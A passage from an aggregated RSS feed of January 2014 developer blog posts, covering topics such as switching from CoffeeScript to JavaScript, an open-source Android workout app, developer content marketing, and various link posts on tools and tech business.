&lt;h2 id="why-i-am-switching-back"&gt;Why I Am Switching Back&lt;/h2&gt;
&lt;p&gt;So in winter 2011, given my personal situation and skillset, the cost/benefit equation for CoffeeScript was an overall positive. What I have found is that in the intervening two years, the equation has reversed to be an overall negative for CoffeeScript. So that's why I'm switching, Here are some of the specifics.&lt;/p&gt;
&lt;p&gt;When I first started writing CoffeeScript, it made things easy for me. Some of this had to do with my background in python and my disfluency at the time with idiomatic JavaScript. Since then my JavaScript has gotten much better and I've learned how to write it idiomatically. Also the general availability of ECMAScript 5 as well as underscore/lodash helped a lot there.&lt;/p&gt;
&lt;p&gt;These days I make heavy use of node-inspector and the v8/chrome debugger. Before, I was mostly a stack trace and &lt;code&gt;console.log&lt;/code&gt; debugger. But now I find tremendous power and clarity stepping through my code in node-inspector, and this works much better when the code I see in node-inspector is exactly the same as the code I see in my text editor.&lt;/p&gt;
&lt;p&gt;I've grown weary of the compiler overhead, extra build step, extra dependencies, extra tooling, and helping n00bs when they mix tabs and spaces and get compile errors.&lt;/p&gt;
&lt;p&gt;Also, the community overall has had more time to settle. Many hip things that had potential to catch on have been pretty soundly spurned, at least by the node.js thought leadership. For example, fibers, coffeescript, iced coffeescript. I think the Ruby on Rails use of CoffeeScript by default is probably the single biggest vote of support and will probably keep CoffeeScript alive and prominent for at least a few years, but within the node.js community it is past peak and on the decline I think.&lt;/p&gt;
&lt;h2 id="coffeescript-features-i-valued-most"&gt;CoffeeScript Features I Valued Most&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;No explicit punctuation to close a block&lt;/strong&gt;. I do indeed strongly prefer significant white space and required indentation. CoffeeScript gives me one less thing to obsess over and OCD about, and when I write JavaScript, especially when I refactor heavily-nested node.js code with callbacks, managing all those &lt;code&gt;});&lt;/code&gt; marks is a real nuisance. I hope to get reliable auto-formatting working in my sublime text setup soon. At the moment I have good linters, but no 1-click "just fix all the formatting" button yet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;multiline string literals&lt;/strong&gt;. Oh my God, as a web developer everything I do all day is manipulating strings. I can't believe we don't have first-class string support in our language. This is such a no-downside complete touchdown feature.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;string interpolation&lt;/strong&gt;. Again, this is like what we do, y'know, all the time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;for loops and list comprehensions&lt;/strong&gt;. Python got these right in the 90s. Why can't we have nice things?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;existential operator (user?.name)&lt;/strong&gt;. This really does come in handy and really does generate JavaScript that is more correct than what you would code by hand.&lt;/p&gt;
&lt;h2 id="coffeescript-features-that-are-nice-but-not-ultimately-compelling"&gt;CoffeeScript Features That Are Nice But Not Ultimately Compelling&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;skinny arrow functions&lt;/strong&gt;. Good use of punctuation but I have editor macros anyway so I don't actually type the word "function" ever.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;default function arguments&lt;/strong&gt;. Also very handy. However, my code tends to use fewer and fewer function arguments and making them optional is rarer and rarer. What I really want is language support for an &lt;code&gt;options&lt;/code&gt; object with a set of default values.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;array slicing and splicing&lt;/strong&gt;. I think if you are doing this a lot, you are probably misusing arrays and might be better served with other data structures.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;nested object literals without so much punctuation and syntax&lt;/strong&gt;. Yes, this is nice, especially for options objects and configuration objects. But I can live without it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;splat arguments&lt;/strong&gt;. Also quite nice and saves error-prone boilerplate, but I also don't code varargs functions often enough to feel this pain sharply.&lt;/p&gt;
&lt;h2 id="coffeescript-features-i-just-plain-dislike-now"&gt;CoffeeScript Features I Just Plain Dislike Now&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;optional parentheses&lt;/strong&gt;. These just don't ultimately help consistently or by a large enough amount. Another thing python got correct.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;classes and all Object Oriented features&lt;/strong&gt;. I think these features are ultimately out of harmony with JavaScript at a deep level. Embrace prototypes, mixins, and the truth about JavaScript. This is an uphill battle that you just can't win. Also if you are using inheritence very often there are more idiomatic ways to get comparable code reuse.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;fat arrow functions&lt;/strong&gt;. I actually now find &lt;code&gt;var self = this;&lt;/code&gt; to be clearer and easier to explain and understand. I've also grokked &lt;code&gt;function.bind&lt;/code&gt; and make pretty frequent use of that without missing fat arrows that much.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;@ symbol for this&lt;/strong&gt;. I generally don't like punctuation, thus my complete resentment of perl and all its progeny. I'd rather type four lowercase letters &lt;code&gt;this&lt;/code&gt; which convey some meaning than rely on assigning meaning to punctuation symbols arbitrarily.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;using words instead of punctuation for logical operators&lt;/strong&gt;. This is basically inconsistent with my point above about the @ symbol, but I read something by TJ Holowaychuk that convinced me that reading logical expressions with the punctuation standing out is actually very easy, but when they are words instead it's actually harder to scan them at a glance.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;aliases for true and false&lt;/strong&gt;. Complete useless bloat. true and false. Done.&lt;/p&gt;
&lt;h2 id="practical-considerations"&gt;Practical Considerations&lt;/h2&gt;
&lt;p&gt;When I started with CoffeeScript, I wasn't that concerned with the wider node.js and JavaScript community. I enjoy eschewing social norms and being independent. However, now I am more interested in writing open source npm packages and contributing to others' modules. Thus I think it makes sense for me to focus on JavaScript.&lt;/p&gt;
&lt;p&gt;One point I want to be clear on is that I think it has always been a poor choice to code a reusable open source node.js module in CoffeeScript. Those should always be in JavaScript, unless of course what they do is directly about CoffeeScript (like connect-coffee-script). However, for applications themselves are are generally not reusable, it's fine to use CoffeeScript if the cost/benefit equation is positive for you and your team.&lt;/p&gt;
&lt;p&gt;But for me I'm more and more extracting reusable modules from my applications and once that happens it's a pain to switch between CoffeeScript for the application code and JavaScript for the reusable modules the application uses, which are often worked on in parallel. So that's another practical consideration pushing me to all JavaScript.&lt;/p&gt;
&lt;h2 id="was-coding-coffeescript-a-mistake"&gt;Was Coding CoffeeScript A Mistake?&lt;/h2&gt;
&lt;p&gt;Absolutely not. I'm a better programmer overall, a better CoffeeScript programmer, and a better JavaScript programmer because I made a significant investment and effort to learn and use CoffeeScript on several small applications. Especially if you don't know python or ruby, learning CoffeeScript and using it in a few small applications will teach you valuable things.&lt;/p&gt;
&lt;p&gt;So if you have never coded CoffeeScript and are thinking about it, here's my take:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;reusable open source modules: JavaScript&lt;/li&gt;
&lt;li&gt;Small application(s) with few developers: CoffeeScript, sure. Try it out. If, like me, you change your mind a year or two later, the cost to switch back to JavaScript is quite low.&lt;/li&gt;
&lt;li&gt;A huge application you are building a company around or have a large team working on: JavaScript. In this case the chances of ever successfully switching back to JavaScript are pretty slim.&lt;/li&gt;
&lt;/ul&gt;</description><author>Pete's Points</author><pubDate>Wed, 22 Jan 2014 19:50:43 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2014/01/from-coffeescript-back-to-javascript/</guid></item><item><title>7 Minute Workout App for Android</title><link>https://michaelcarrano.com/blog/7-minute-workout-app-for-android</link><description>&lt;p&gt;Recently, I developed a &lt;a href="https://play.google.com/store/apps/details?id=com.michaelcarrano.seven_min_workout"&gt;7 Minute Workout application for Android&lt;/a&gt;, which is my first Android application on Google Play.&lt;/p&gt;

&lt;p&gt;I decided to open source the application so that I can start to build a portfolio of software that I have developed. &lt;strong&gt;&lt;a href="https://github.com/michaelcarrano/seven_minute_workout_android"&gt;Feel free to fork, modify, and create a pull request!&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I decided to develop this application because part of my resolution for the year of 2014 is to get in better physical shape and so far I have been following the resolution. Check back in a few months to see if I am keeping up with my resolution.&lt;/p&gt;

&lt;p&gt;It was not difficult to develop the 7 Minute Workout application and most of my time was spent figuring out what content to display in the application.&lt;/p&gt;

&lt;p&gt;For the content I needed to do the following…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Research what exercises the 7 Minute Workout involves.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Find Youtube videos that clearly demonstrates each workout.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Write a short description of each workout, in case the user does not want to watch a video.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Further, I needed to figure out the design of the application which was largely dictated by the Master/Detail template. In terms of the color scheme, I went with a &lt;a href="http://flatuicolors.com/"&gt;flat ui design&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Since I built the application off the default Master/Detail view all I really needed to do was define the &lt;a href="https://github.com/michaelcarrano/seven_minute_workout_android/blob/master/7%20Minutes/src/main/java/com/michaelcarrano/seven_min_workout/data/WorkoutContent.java"&gt;data model class&lt;/a&gt; that held the contents of the workout. Once that is finished, it is just a matter of updating your ListView adapter to support your Class and then figuring out how to get the correct workout on the workout details view to display the Youtube video and description of the workout.&lt;/p&gt;

&lt;p&gt;Now that I have over 150+ current installs of my application, there is a lot I want to do for my users. Some of the changes I want to make are listed on my Github repository for the application but I will define them here as well.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Support Android 2.3+ (I only supported 4.0+ at first since I didn’t have a device with a lower API level to test with)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Improve the layout for all device sizes (Originally, I only had a Nexus 7 2013 but now I have a Moto G, Droid Incredible 2, Samsung Galaxy SII to test with)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implement hands free features such as sounds for what workout to do and when to rest.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implement paid features such as logging your workouts, adjusting the exercise/rest duration, and randomizing the workout order.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;A new icon to better describe what the application is about.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first two bullet points, I have already begun to work on and I think the layouts have been greatly improved for tablets. Additionally, I bring support to Android 2.3.x which still has over 20% of the Android market. (I have not yet released these updates).&lt;/p&gt;

&lt;p&gt;In future posts, I will write about how I handle certain situations and how I implement certain functionality that makes the 7 Minute Workout application pleasant to use.&lt;/p&gt;

&lt;p&gt;Some of the future posts will include topics such as: (Let me know which one you want me to write about first)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;A simple way to restore the &lt;a href="https://developer.android.com/reference/android/widget/ListView.html"&gt;ListView&lt;/a&gt; position in Android. &lt;a href="https://michaelcarrano.com/blog/maintain-listview-position-in-android-application"&gt;Read how to restore ListView position&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;A simple way to determine if the device is a tablet or phone and the orientation the device is in.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How to setup &lt;a href="https://code.google.com/p/android-test-kit/wiki/Espresso"&gt;Espresso&lt;/a&gt; with &lt;a href="https://developer.android.com/sdk/installing/studio.html"&gt;Android Studio&lt;/a&gt; so you can write automated tests for the UI.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Mobile Software Engineer in NYC.</author><pubDate>Wed, 22 Jan 2014 19:06:33 GMT</pubDate><guid isPermaLink="true">https://michaelcarrano.com/blog/7-minute-workout-app-for-android</guid></item><item><title>The Joe Rosensteel Starter Pack</title><link>https://zacs.site/blog/the-joe-steel-starter-pack.html</link><description>&lt;p&gt;As detailed in &lt;a href="https://zacs.site/blog/the-curse-of-preconceived-notions.html"&gt;&lt;em&gt;The Curse of Preconceived Notions&lt;/em&gt;&lt;/a&gt;, before Monday night I had not read any of Joe Rosensteel&amp;#8217;s work; instead, I had wrongly disregarded it in any capacity surpassing that of humorous entertainment. When I finally came to my senses and started reading his blog though, starting with &lt;a href="http://joe-steel.tumblr.com/post/73795711747/the-ubiquitous-yak-for-the-discerning-obsessive"&gt;&lt;em&gt;The Ubiquitous Yak for the Discerning Obsessive&lt;/em&gt;&lt;/a&gt;, I found that I really enjoy his thoughts and opinions. So for anyone else that, like me, made a similar mistake, I thought I would compile a short list of my favorite articles from Joe, to give you somewhere to start.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-joe-steel-starter-pack.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 22 Jan 2014 09:29:48 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-joe-steel-starter-pack.html</guid></item><item><title>Got any tips or tricks for Terminal in Mac OS X?</title><link>https://nicolaiarocci.com/got-tips-tricks-terminal-mac-os-x/</link><description>&lt;p&gt;Best collection of Terminal tricks ever:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://apple.stackexchange.com/questions/5435/got-any-tips-or-tricks-for-terminal-in-mac-os-x"&gt;Got any tips or tricks for Terminal in Mac OS X? – Ask Different&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 22 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/got-tips-tricks-terminal-mac-os-x/</guid></item><item><title>JavaScript: The Right Way</title><link>https://nicolaiarocci.com/javascript-the-right-way/</link><description>&lt;blockquote&gt;
&lt;p&gt;Hey, you!&lt;/p&gt;
&lt;p&gt;This is a JavaScript guide intended to introduce new developers and help experienced ones to the JavaScript’s best practices.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://jstherightway.org/?utm_content=buffer7f09d&amp;amp;utm_medium=social&amp;amp;utm_source=twitter.com&amp;amp;utm_campaign=buffer"&gt;JS: The Right Way&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 22 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/javascript-the-right-way/</guid></item><item><title>Python and Flask Are Ridiculously Powerful</title><link>https://nicolaiarocci.com/python-and-flask-are-ridiculously-powerful/</link><description>&lt;blockquote&gt;
&lt;p&gt;As a developer, I sometimes forget the power I yield. It’s easy to forget that, when something doesn’t work the way I’d like, I have the power to change it.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://jeffknupp.com/blog/2014/01/18/python-and-flask-are-ridiculously-powerful/"&gt;Python and Flask Are Ridiculously Powerful&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 22 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/python-and-flask-are-ridiculously-powerful/</guid></item><item><title>Today my startup failed</title><link>https://nicolaiarocci.com/today-my-startup-failed/</link><description>&lt;p&gt;Shit happens. Way more often than what most people think.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It may seem surprising that a seemingly successful product could fail, but it happens all the time. Although we arguably found product/market fit, we couldn’t quite crack the business side of things.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://chrishateswriting.com/post/74083032842/today-my-startup-failed"&gt;Chris Hates Writing • Today my startup failed&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 22 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/today-my-startup-failed/</guid></item><item><title>Billion Dollar March Madness Bracket</title><link>https://www.danstroot.com/posts/2014-01-22-billion-dollar-march-madness-bracket</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/ncaa-brackets.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;You read that right: one billion. Not one million. Not one hundred million. Not five hundred million. One billion U.S. dollars.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-01-22-billion-dollar-march-madness-bracket"&gt;Billion Dollar March Madness Bracket&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Wed, 22 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2014-01-22-billion-dollar-march-madness-bracket</guid></item><item><title>Dynamic RADOS object interfaces with Lua</title><link>https://makedist.com/posts/2014/01/22/dynamic-rados-object-interfaces-with-lua/</link><description>Offloading image thumbnail generation to Ceph using Lua.</description><author>Noah Watkins</author><pubDate>Wed, 22 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2014/01/22/dynamic-rados-object-interfaces-with-lua/</guid></item><item><title>Where to start with developer content</title><link>/2014/01/21/Where-to-start-with-developer-content/</link><description>&lt;p&gt;Getting the word out&lt;/p&gt;
&lt;h3 id="hacker-news"&gt;
&lt;div&gt;
Hacker News
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;When it comes to marketing, specifically to developers, the most common question is how do I get on Hacker News? The second most commong is, well in addition to there what matters. This fully depends on your audience, and if you really only care about the former versus the broader issue of creating a sustainable model for circulating your content then just read these links then move on. If you want a full model for getting your content out there then keep reading.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://nathanael.hevenet.com/the-best-time-to-post-on-hacker-news-a-comprehensive-answer/"&gt;The best time to post to hacker news&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://alexstechthoughts.com/post/29406022580/how-to-get-on-the-frontpage-of-hacker-news"&gt;How to get on the front page of hacker news&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="more-than-just-hacker-news"&gt;
&lt;div&gt;
More than just Hacker News
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;First off don&amp;rsquo;t get me wrong, HN can provide a great surge of short term traffic. There&amp;rsquo;s a few problems I have with this though. To begin with it gives you one shot to get your message perfect, if you have the wrong message, miss your call to action, or forget an affiliate link then you get your 15k viewers well you get no second shot at it. Though more interestingly and a bit of gut feel, I&amp;rsquo;ve noticed that traffic contains more bounes and lower engagement. And then theres the issue that its definitely not a science to getting on there&amp;hellip;.&lt;/p&gt;
&lt;h3 id="other-news-sites"&gt;
&lt;div&gt;
Other news sites
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Of course theres other news sites, ones of relevance include reddit, dzone, monacle. I&amp;rsquo;ve found each of these can be similar in some ways to hacker news. Yet, they have a bit longer of a shelf life, giving me a slightly higher propensity to give them some attention. At the same time they also have a smaller reach.&lt;/p&gt;
&lt;h3 id="twitter"&gt;
&lt;div&gt;
Twitter
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Twitter is yet another method that can work quite well. Observations of it include lower traffic than something like a hacker news, and equal to better engagement overall. Perhaps the most interesting piece I find is that you&amp;rsquo;ll often get more intelligent and also positive discussion on twitter vs. HN. There is one huge fail I find with twitter that nearly every company commits. The author of the post or company twitter handle posts it, then 10 people proceed to retweet it within 10 minutes. The problem with this if you&amp;rsquo;re anything like places I&amp;rsquo;ve worked at is you have a strong overlap of followers, this combined with the empheral nature of twitter means you&amp;rsquo;re diminishing reach. Instead having a few people (dont make it a strict requirement) retweet later in the day can help broaden your reach.&lt;/p&gt;
&lt;h3 id="google-plus"&gt;
&lt;div&gt;
Google Plus
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;I&amp;rsquo;m slightly ashamed to be including this on here&amp;hellip; I don&amp;rsquo;t use it, I don&amp;rsquo;t care for it, etc. I have no hard evidence of this either, but publishing on Google Plus seems to speed up Google&amp;rsquo;s indexing of the article to be much closer to instant. Take it for what you will.&lt;/p&gt;
&lt;h3 id="email"&gt;
&lt;div&gt;
Email
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;That thing you still get too much of is a great way of getting content out.&lt;/p&gt;
&lt;h3 id="long-tail"&gt;
&lt;div&gt;
Long tail
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Please please please do not underestimate the value in the long tail of your content. Google sends me between 200 and 500 new uniques a day due to various articles. Think about the areas you want to rank for and create your content for them, work on getting it out and syndicated, then&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Tue, 21 Jan 2014 22:55:56 GMT</pubDate><guid isPermaLink="true">/2014/01/21/Where-to-start-with-developer-content/</guid></item><item><title>Introducing The Weekly Briefly Podcast</title><link>http://shawnblanc.net/2014/01/introducing-the-weekly-briefly-podcast/</link><description>&lt;p&gt;I listened to every episode of &lt;a href="http://5by5.tv/bb"&gt;The B&amp;#38;B Podcast&lt;/a&gt; back when Shawn Blanc and Ben Brooks recorded it once a week up until just shy of a year ago. It came as a great disappointment, then, when it ended rather abruptly. Thankfully, I did not have to go without for long: today, Shawn announced a new weekly show to be released alongside his members-only Shawn Today podcast. I already subscribed, and I recommend you do as well: if The Weekly Brief is anything like its predecessor or reflects even a portion of its creator&amp;#8217;s great work, it will be well worth the time.&lt;/p&gt;

&lt;p&gt;While on the topic, I would just like to say that it&amp;#8217;s encouraging to see my idea of a members-only show with &lt;a href="http://zacjszewczyk.com/Structure/Doing-Monetization-Well.htm#3000VisitorsaMonth"&gt;a public counterpart&lt;/a&gt; validated by a writer I respect as much as I do Shawn Blanc. If nothing else, it shows that I&amp;#8217;m on the right track.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://shawnblanc.net/2014/01/introducing-the-weekly-briefly-podcast/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 21 Jan 2014 22:11:47 GMT</pubDate><guid isPermaLink="true">http://shawnblanc.net/2014/01/introducing-the-weekly-briefly-podcast/</guid></item><item><title>Paid Memberships</title><link>https://zacs.site/blog/paid-memberships.html</link><description>&lt;p&gt;Given my &lt;a href="https://zacs.site/blog/winers-lowers-and-high-school.html"&gt;recent&lt;/a&gt; track &lt;a href="https://zacs.site/blog/the-reasons-i-write.html"&gt;record&lt;/a&gt;, you could probably predict what I will write about next just by following Linus Edwards on Twitter and reading his site. Yesterday, Linus posed a thought-provoking question asking for thoughts regarding paid memberships for independent writers, saying that he did not believe in them given their ineffectiveness. An interesting conversation ensued in which many weighed in both for and against. I did not, however, choosing to instead save my opinions for this article.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/paid-memberships.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 21 Jan 2014 20:33:21 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/paid-memberships.html</guid></item><item><title>The Curse of Preconceived Notions</title><link>https://zacs.site/blog/the-curse-of-preconceived-notions.html</link><description>&lt;p&gt;Until yesterday, every time someone mentioned Joe Steel or &lt;a href="http://joe-steel.tumblr.com"&gt;his blog&lt;/a&gt;, I immediately thought of &lt;a href="http://terriblepodcastscreenplays.tumblr.com"&gt;Terrible Podcast Screenplays&lt;/a&gt;. I had equated Joe to this one Tumblr, and that humorous pursuit to Joe. In my mind, they were one and the same. As a result, whenever someone referred to his work, I absentmindedly categorized it as comedic and of little value beyond a source of entertainment, and disregarded it accordingly. Late last night though, I read&amp;#160;&amp;#8212;&amp;#160;&lt;a href="https://zacs.site/blog/the-yak.html"&gt;and posted about&lt;/a&gt;&amp;#160;&amp;#8212;&amp;#160;&lt;a href="http://joe-steel.tumblr.com/post/73795711747/the-ubiquitous-yak-for-the-discerning-obsessive"&gt;&lt;em&gt;The Ubiquitous Yak for the Discerning Obsessive&lt;/em&gt;&lt;/a&gt; because I finally gave Joe&amp;#8217;s site a chance, and because he really impressed me with his writing. I then spent the next half hour reading his last twenty blog posts, finally rectifying this egregious lapse in judgment.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-curse-of-preconceived-notions.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 21 Jan 2014 14:15:53 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-curse-of-preconceived-notions.html</guid></item><item><title>The Ubiquitous Yak for the Discerning Obsessive</title><link>http://joe-steel.tumblr.com/post/73795711747/the-ubiquitous-yak-for-the-discerning-obsessive</link><description>&lt;p&gt;When Sid O&amp;#8217;Neill posted &lt;a href="http://crateofpenguins.com/blog/farewell-to-text-files"&gt;&lt;em&gt;Farewell to Text Files&lt;/em&gt;&lt;/a&gt;, I read his article but really had nothing to say on the topic. One person left the world of plain text files&amp;#160;&amp;#8212;&amp;#160;&amp;#8220;so what?&amp;#8221;, as Dan and Merlin love saying. But Joe Steele&amp;#8217;s response, cited above, made me reconsider Sid&amp;#8217;s predicament: the low barrier to entry plain text afforded him made testing new writing apps too easy to resist, and so Sid spent more time experimenting than working. At some point in our lives, we have all gone through something similar: I did last month when I &lt;a href="https://zacs.site/blog/disavow-gaming.html"&gt;disavowed gaming&lt;/a&gt; and pledged myself to the constant betterment of this site. Abandoning text files was Sid&amp;#8217;s equivalent to my denunciation of gaming. Framed this way, I applaud Sid&amp;#8217;s decision: if leaving this format is what it takes for you to write more, then by all means, carry on. You could do much worse than &amp;#8220;trading&amp;#8221; versatility for productivity.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://joe-steel.tumblr.com/post/73795711747/the-ubiquitous-yak-for-the-discerning-obsessive"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 21 Jan 2014 00:27:40 GMT</pubDate><guid isPermaLink="true">http://joe-steel.tumblr.com/post/73795711747/the-ubiquitous-yak-for-the-discerning-obsessive</guid></item><item><title>Workflow</title><link>http://my.workflow.is</link><description>&lt;p&gt;Sans the rather generic name, I really like Workflow. As an unnamed individual demos the app, he shows off impressive system integration by dragging Editorial-like pre-defined actions taking advantage of the camera, music, and AirDrop APIs into a queue and running it. Alternately, Workflow can also transform these processes into their own standalone apps. Wow. Impressive, to say the least. Even with such a basic feature set as the one on exhibit in its demo video, an app like Workflow has the potential to completely change the current state of inter-app communication, taking it from a tedious task necessitating difficult URL creation and fairly extensive knowledge of Python to a relatively easy process with a much lower barrier to entry. Unfortunately, I feel some of these abilities may fall outside the boundaries of the App Store&amp;#8217;s rules, and thus Workflow may never graduate to a full-fledged app; however, I would love to be proven wrong.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://my.workflow.is"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 20 Jan 2014 23:49:54 GMT</pubDate><guid isPermaLink="true">http://my.workflow.is</guid></item><item><title>Building base images for Vagrant with a Makefile</title><link>https://purpleidea.com/blog/2014/01/20/building-base-images-for-vagrant-with-a-makefile/</link><description>&lt;p&gt;I needed a base image &amp;ldquo;&lt;a href="https://docs.vagrantup.com/v2/boxes.html"&gt;box&lt;/a&gt;&amp;rdquo; for my &lt;a href="https://purpleidea.com/blog/automatically-deploying-glusterfs-with-puppet-gluster-vagrant/" title="Automatically deploying GlusterFS with Puppet-Gluster + Vagrant!"&gt;Puppet-Gluster+Vagrant&lt;/a&gt; work. It would have been great if good boxes already existed, and even better if it were easy to build my own. As it turns out, I wasn&amp;rsquo;t able to satisfy either of these conditions, so I&amp;rsquo;ve had to build one myself! &lt;a href="https://github.com/purpleidea/puppet-gluster/blob/master/builder/README"&gt;I&amp;rsquo;ve published all of my code&lt;/a&gt;, so that you can use these techniques and &lt;a href="https://github.com/purpleidea/puppet-gluster/blob/master/builder/Makefile"&gt;tools&lt;/a&gt; too!&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 20 Jan 2014 13:46:31 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/01/20/building-base-images-for-vagrant-with-a-makefile/</guid></item><item><title>Google's three Ps</title><link>http://www.asymco.com/2014/01/17/googles-three-ps/</link><description>&lt;p&gt;Last week Ben Thompson posted two fantastic articles describing &lt;a href="http://stratechery.com/2014/business-models-2014/"&gt;the inevitable shift in business models 2014 will likely bring about&lt;/a&gt; and &lt;a href="http://stratechery.com/2014/googles-new-business-model/"&gt;the actual implications of Nest&amp;#8217;s acquisition by Google&lt;/a&gt;, respectively. Then, Friday afternoon, Horace Dediu chimed in with his own fascinating two cents when he published &lt;a href="http://www.asymco.com/2014/01/17/googles-three-ps/"&gt;&lt;em&gt;Google&amp;#8217;s three Ps&lt;/em&gt;&lt;/a&gt;. As interesting as I find their examinations of Apple, I enjoyed these in-depth looks at Google immensely.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.asymco.com/2014/01/17/googles-three-ps/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 20 Jan 2014 10:20:43 GMT</pubDate><guid isPermaLink="true">http://www.asymco.com/2014/01/17/googles-three-ps/</guid></item><item><title>On movie studios using copyright to loot their own basements</title><link>https://stop.zona-m.net/2014/01/on-movie-studios-using-copyright-to-loot-their-own-basements/</link><description>&lt;p&gt;The article titled &lt;a href="http://www.forbes.com/sites/scottmendelson/2014/01/10/how-the-amazing-spider-man-wrecked-hollywood/"&gt;How &amp;lsquo;The Amazing Spider-Man&amp;rsquo;
